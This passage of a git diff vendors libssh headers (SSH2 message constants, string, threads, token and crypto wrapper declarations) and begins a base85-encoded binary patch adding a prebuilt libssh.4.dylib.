const char *bind_addr); + +#endif /* SOCKET_H_ */ diff --git a/vendor/libssh/include/libssh/ssh2.h b/vendor/libssh/include/libssh/ssh2.h new file mode 100644 index 0000000..3521433 --- /dev/null +++ b/vendor/libssh/include/libssh/ssh2.h @@ -0,0 +1,81 @@ +#ifndef __SSH2_H +#define __SSH2_H + +#define SSH2_MSG_DISCONNECT 1 +#define SSH2_MSG_IGNORE 2 +#define SSH2_MSG_UNIMPLEMENTED 3 +#define SSH2_MSG_DEBUG 4 +#define SSH2_MSG_SERVICE_REQUEST 5 +#define SSH2_MSG_SERVICE_ACCEPT 6 +#define SSH2_MSG_EXT_INFO 7 + +#define SSH2_MSG_KEXINIT 20 +#define SSH2_MSG_NEWKEYS 21 + +#define SSH2_MSG_KEXDH_INIT 30 +#define SSH2_MSG_KEXDH_REPLY 31 +#define SSH2_MSG_KEX_ECDH_INIT 30 +#define SSH2_MSG_KEX_ECDH_REPLY 31 +#define SSH2_MSG_ECMQV_INIT 30 +#define SSH2_MSG_ECMQV_REPLY 31 + +#define SSH2_MSG_KEX_DH_GEX_REQUEST_OLD 30 +#define SSH2_MSG_KEX_DH_GEX_GROUP 31 +#define SSH2_MSG_KEX_DH_GEX_INIT 32 +#define SSH2_MSG_KEX_DH_GEX_REPLY 33 +#define SSH2_MSG_KEX_DH_GEX_REQUEST 34 +#define SSH2_MSG_USERAUTH_REQUEST 50 +#define SSH2_MSG_USERAUTH_FAILURE 51 +#define SSH2_MSG_USERAUTH_SUCCESS 52 +#define SSH2_MSG_USERAUTH_BANNER 53 +#define SSH2_MSG_USERAUTH_PK_OK 60 +#define SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ 60 +#define SSH2_MSG_USERAUTH_INFO_REQUEST 60 +#define SSH2_MSG_USERAUTH_GSSAPI_RESPONSE 60 +#define SSH2_MSG_USERAUTH_INFO_RESPONSE 61 +#define SSH2_MSG_USERAUTH_GSSAPI_TOKEN 61 +#define SSH2_MSG_USERAUTH_GSSAPI_EXCHANGE_COMPLETE 63 +#define SSH2_MSG_USERAUTH_GSSAPI_ERROR 64 +#define SSH2_MSG_USERAUTH_GSSAPI_ERRTOK 65 +#define SSH2_MSG_USERAUTH_GSSAPI_MIC 66 + +#define SSH2_MSG_GLOBAL_REQUEST 80 +#define SSH2_MSG_REQUEST_SUCCESS 81 +#define SSH2_MSG_REQUEST_FAILURE 82 +#define SSH2_MSG_CHANNEL_OPEN 90 +#define SSH2_MSG_CHANNEL_OPEN_CONFIRMATION 91 +#define SSH2_MSG_CHANNEL_OPEN_FAILURE 92 +#define SSH2_MSG_CHANNEL_WINDOW_ADJUST 93 +#define SSH2_MSG_CHANNEL_DATA 94 +#define SSH2_MSG_CHANNEL_EXTENDED_DATA 95 +#define SSH2_MSG_CHANNEL_EOF 96 +#define SSH2_MSG_CHANNEL_CLOSE 97 +#define SSH2_MSG_CHANNEL_REQUEST 98 +#define SSH2_MSG_CHANNEL_SUCCESS 99 +#define SSH2_MSG_CHANNEL_FAILURE 100 + +#define SSH2_DISCONNECT_HOST_NOT_ALLOWED_TO_CONNECT 1 +#define SSH2_DISCONNECT_PROTOCOL_ERROR 2 +#define SSH2_DISCONNECT_KEY_EXCHANGE_FAILED 3 +#define SSH2_DISCONNECT_HOST_AUTHENTICATION_FAILED 4 +#define SSH2_DISCONNECT_RESERVED 4 +#define SSH2_DISCONNECT_MAC_ERROR 5 +#define SSH2_DISCONNECT_COMPRESSION_ERROR 6 +#define SSH2_DISCONNECT_SERVICE_NOT_AVAILABLE 7 +#define SSH2_DISCONNECT_PROTOCOL_VERSION_NOT_SUPPORTED 8 +#define SSH2_DISCONNECT_HOST_KEY_NOT_VERIFIABLE 9 +#define SSH2_DISCONNECT_CONNECTION_LOST 10 +#define SSH2_DISCONNECT_BY_APPLICATION 11 +#define SSH2_DISCONNECT_TOO_MANY_CONNECTIONS 12 +#define SSH2_DISCONNECT_AUTH_CANCELLED_BY_USER 13 +#define SSH2_DISCONNECT_NO_MORE_AUTH_METHODS_AVAILABLE 14 +#define SSH2_DISCONNECT_ILLEGAL_USER_NAME 15 + +#define SSH2_OPEN_ADMINISTRATIVELY_PROHIBITED 1 +#define SSH2_OPEN_CONNECT_FAILED 2 +#define SSH2_OPEN_UNKNOWN_CHANNEL_TYPE 3 +#define SSH2_OPEN_RESOURCE_SHORTAGE 4 + +#define SSH2_EXTENDED_DATA_STDERR 1 + +#endif diff --git a/vendor/libssh/include/libssh/string.h b/vendor/libssh/include/libssh/string.h new file mode 100644 index 0000000..35b2ea2 --- /dev/null +++ b/vendor/libssh/include/libssh/string.h @@ -0,0 +1,49 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef STRING_H_ +#define STRING_H_ +#include "libssh/priv.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* must be 32 bits number + immediately our data */ +#ifdef _MSC_VER +#pragma pack(1) +#endif +struct ssh_string_struct { + uint32_t size; + unsigned char data[1]; +} +#if defined(__GNUC__) +__attribute__ ((packed)) +#endif +#ifdef _MSC_VER +#pragma pack() +#endif +; + +#ifdef __cplusplus +} +#endif + +#endif /* STRING_H_ */ diff --git a/vendor/libssh/include/libssh/threads.h b/vendor/libssh/include/libssh/threads.h new file mode 100644 index 0000000..47340d1 --- /dev/null +++ b/vendor/libssh/include/libssh/threads.h @@ -0,0 +1,71 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2010 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef THREADS_H_ +#define THREADS_H_ + +#include +#include + +#if HAVE_PTHREAD + +#include +#define SSH_MUTEX pthread_mutex_t + +#if defined(PTHREAD_ERRORCHECK_MUTEX_INITIALIZER_NP) +#define SSH_MUTEX_STATIC_INIT PTHREAD_ERRORCHECK_MUTEX_INITIALIZER_NP +#else +#define SSH_MUTEX_STATIC_INIT PTHREAD_MUTEX_INITIALIZER +#endif + +#elif (defined _WIN32) || (defined _WIN64) + +#include +#include +#define SSH_MUTEX CRITICAL_SECTION * +#define SSH_MUTEX_STATIC_INIT NULL + +#else + +# define SSH_MUTEX void * +#define SSH_MUTEX_STATIC_INIT NULL + +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +int ssh_threads_init(void); +void ssh_threads_finalize(void); +const char *ssh_threads_get_type(void); + +void ssh_mutex_lock(SSH_MUTEX *mutex); +void ssh_mutex_unlock(SSH_MUTEX *mutex); + +struct ssh_threads_callbacks_struct *ssh_threads_get_default(void); +int crypto_thread_init(struct ssh_threads_callbacks_struct *user_callbacks); +void crypto_thread_finalize(void); + +#ifdef __cplusplus +} +#endif + +#endif /* THREADS_H_ */ diff --git a/vendor/libssh/include/libssh/token.h b/vendor/libssh/include/libssh/token.h new file mode 100644 index 0000000..2cd7b20 --- /dev/null +++ b/vendor/libssh/include/libssh/token.h @@ -0,0 +1,56 @@ +/* + * token.h - Tokens list handling + * + * This file is part of the SSH Library + * + * Copyright (c) 2019 by Red Hat, Inc. + * + * Author: Anderson Toshiyuki Sasaki + * + * The SSH Library is free software; you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation; either version 2.1 of the License, or (at your + * option) any later version. + * + * The SSH Library is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY + * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public + * License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with the SSH Library; see the file COPYING. If not, write to + * the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, + * MA 02111-1307, USA. + */ + +#ifndef TOKEN_H_ +#define TOKEN_H_ + +struct ssh_tokens_st { + char *buffer; + char **tokens; +}; + +#ifdef __cplusplus +extern "C" { +#endif + +struct ssh_tokens_st *ssh_tokenize(const char *chain, char separator); + +void ssh_tokens_free(struct ssh_tokens_st *tokens); + +char *ssh_find_matching(const char *available_d, + const char *preferred_d); + +char *ssh_find_all_matching(const char *available_d, + const char *preferred_d); + +char *ssh_remove_duplicates(const char *list); + +char *ssh_append_without_duplicates(const char *list, + const char *appended_list); +#ifdef __cplusplus +} +#endif + +#endif /* TOKEN_H_ */ diff --git a/vendor/libssh/include/libssh/wrapper.h b/vendor/libssh/include/libssh/wrapper.h new file mode 100644 index 0000000..b3e28ea --- /dev/null +++ b/vendor/libssh/include/libssh/wrapper.h @@ -0,0 +1,138 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef WRAPPER_H_ +#define WRAPPER_H_ + +#include + +#include "config.h" +#include "libssh/libssh.h" +#include "libssh/libcrypto.h" +#include "libssh/libgcrypt.h" +#include "libssh/libmbedcrypto.h" + +#ifdef __cplusplus +extern "C" { +#endif + +enum ssh_kdf_digest { + SSH_KDF_SHA1=1, + SSH_KDF_SHA256, + SSH_KDF_SHA384, + SSH_KDF_SHA512 +}; + +enum ssh_hmac_e { + SSH_HMAC_SHA1 = 1, + SSH_HMAC_SHA256, + SSH_HMAC_SHA512, + SSH_HMAC_MD5, + SSH_HMAC_AEAD_POLY1305, + SSH_HMAC_AEAD_GCM, + SSH_HMAC_NONE, +}; + +enum ssh_des_e { + SSH_3DES, + SSH_DES +}; + +struct ssh_hmac_struct { + const char* name; + enum ssh_hmac_e hmac_type; + bool etm; +}; + +enum ssh_crypto_direction_e { + SSH_DIRECTION_IN = 1, + SSH_DIRECTION_OUT = 2, + SSH_DIRECTION_BOTH = 3, +}; + +struct ssh_cipher_struct; +struct ssh_crypto_struct; + +typedef struct ssh_mac_ctx_struct *ssh_mac_ctx; +MD5CTX md5_init(void); +void md5_ctx_free(MD5CTX); +int md5_update(MD5CTX c, const void *data, size_t len); +int md5_final(unsigned char *md, MD5CTX c); + +SHACTX sha1_init(void); +void sha1_ctx_free(SHACTX); +int sha1_update(SHACTX c, const void *data, size_t len); +int sha1_final(unsigned char *md,SHACTX c); +int sha1(const unsigned char *digest,size_t len, unsigned char *hash); + +SHA256CTX sha256_init(void); +void sha256_ctx_free(SHA256CTX); +int sha256_update(SHA256CTX c, const void *data, size_t len); +int sha256_final(unsigned char *md,SHA256CTX c); +int sha256(const unsigned char *digest, size_t len, unsigned char *hash); + +SHA384CTX sha384_init(void); +void sha384_ctx_free(SHA384CTX); +int sha384_update(SHA384CTX c, const void *data, size_t len); +int sha384_final(unsigned char *md,SHA384CTX c); +int sha384(const unsigned char *digest, size_t len, unsigned char *hash); + +SHA512CTX sha512_init(void); +void sha512_ctx_free(SHA512CTX); +int sha512_update(SHA512CTX c, const void *data, size_t len); +int sha512_final(unsigned char *md,SHA512CTX c); +int sha512(const unsigned char *digest, size_t len, unsigned char *hash); + +HMACCTX hmac_init(const void *key,size_t len, enum ssh_hmac_e type); +int hmac_update(HMACCTX c, const void *data, size_t len); +int hmac_final(HMACCTX ctx, unsigned char *hashmacbuf, size_t *len); +size_t hmac_digest_len(enum ssh_hmac_e type); + +int ssh_kdf(struct ssh_crypto_struct *crypto, + unsigned char *key, size_t key_len, + uint8_t key_type, unsigned char *output, + size_t requested_len); + +int crypt_set_algorithms_client(ssh_session session); +int crypt_set_algorithms_server(ssh_session session); +struct ssh_crypto_struct *crypto_new(void); +void crypto_free(struct ssh_crypto_struct *crypto); + +void ssh_reseed(void); +int ssh_crypto_init(void); +void ssh_crypto_finalize(void); + +void ssh_cipher_clear(struct ssh_cipher_struct *cipher); +struct ssh_hmac_struct *ssh_get_hmactab(void); +struct ssh_cipher_struct *ssh_get_ciphertab(void); +const char *ssh_hmac_type_to_string(enum ssh_hmac_e hmac_type, bool etm); + +#if defined(HAVE_LIBCRYPTO) && OPENSSL_VERSION_NUMBER >= 0x30000000L +int evp_build_pkey(const char* name, OSSL_PARAM_BLD *param_bld, EVP_PKEY **pkey, int selection); +int evp_dup_dsa_pkey(const ssh_key key, ssh_key new_key, int demote); +int evp_dup_rsa_pkey(const ssh_key key, ssh_key new_key, int demote); +int evp_dup_ecdsa_pkey(const ssh_key key, ssh_key new_key, int demote); +#endif /* HAVE_LIBCRYPTO && OPENSSL_VERSION_NUMBER */ + +#ifdef __cplusplus +} +#endif + +#endif /* WRAPPER_H_ */ diff --git a/vendor/libssh/libssh.4.dylib b/vendor/libssh/libssh.4.dylib new file mode 100755 index 0000000000000000000000000000000000000000..230e6789fad7c484122d706baf66565d9cca41d5 GIT binary patch literal 434288 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 